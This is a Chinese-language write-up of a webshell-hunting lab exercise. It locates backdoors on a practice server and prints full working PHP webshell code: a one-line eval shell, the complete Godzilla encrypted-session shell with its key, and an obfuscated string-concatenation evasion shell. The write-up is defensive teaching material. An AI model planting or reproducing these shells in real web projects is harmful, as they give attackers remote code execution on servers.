webshell查杀
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
黑客webshell里面的flag
先cd到/var/www/html
目录
可以先dump文件,方便查杀
tar -czvf html.tar.gz ./
用xftp可以直接拿到主机,D盾可以一把梭了
但这里我们主要学一下手动排查,利用find
查询可疑后缀,grep
来抓取内容中的关键字,
find ./ type f -name "*.php" | xargs grep "eval("
xargs
:作用和管道符类似,但find
的结果没法直接用管道符传递,所以要配合该命令
root@ip-10-0-10-3:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./include/gz.php: eval($payload);
./include/Db/.Mysqli.php: eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>
找到了目录下的几个明显的🐎,手动打开查看
注释行发现flag
黑客使用的什么工具的shell github地址的md5
这是刚刚含有flag的🐎,拉一段代码去github上面搜,选一下code
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
可以看到是Godzilla
的特征
熟悉流量特征的师傅可以直接看出来:
Godzilla木马的静态特征:
run()
方法是写死在攻击载荷里的,代码一定会用这个方法执行传入的参数- 有一个向session中存储攻击载荷的的过程,即
$_SESSION[$payloadName]=<传入的参数>
github项目地址:https://github.com/BeichenDream/Godzilla
黑客隐藏shell的完整路径的md5
前面查找木马特征的时候正好出现过隐藏文件
文件名前面带
.
的就是
直接打开看一眼
root@ip-10-0-10-3:/var/www/html/include/Db# cat .Mysqli.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
所以路径是:/var/www/html/include/Db/.Mysqli.php
黑客免杀马完整路径
要找免杀🐎,其实可以把D盾扫出的文件一个个丢给火绒,看看是否报毒,不报毒的就是做了免杀的
手查的话需要看看目录,因为用了webshell执行过东西,log是能找到的,先查这台机子开了什么服务
root@ip-10-0-10-3:/var/log# ss -tlnp
State Recv-Q Send-Q Local Address:Port
LISTEN 0 80 127.0.0.1:3306 users:(("mysqld",pid=572,fd=20))
LISTEN 0 128 0.0.0.0:22 users:(("sshd",pid=519,fd=3))
LISTEN 0 128 *:80 users:(("apache2",pid=622,fd=4),("apache2",pid=621,fd=4),("apache2",pid=619,fd=4),("ache2",pid=574,fd=4))
LISTEN 0 128 [::]:22 users:(("sshd",pid=519,fd=4))
可以看到是apache2,直接去/var/www/apache2/access.php
把log拿下来看看
发现/wap/top.php
执行过命令
root@ip-10-0-10-3:/var/www/html/wap# cat top.php
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
明显的拼接🐎,做免杀的常用手法
所以这个免杀🐎的路径就是:/var/www/html/wap/top.php
=========================施工中=========================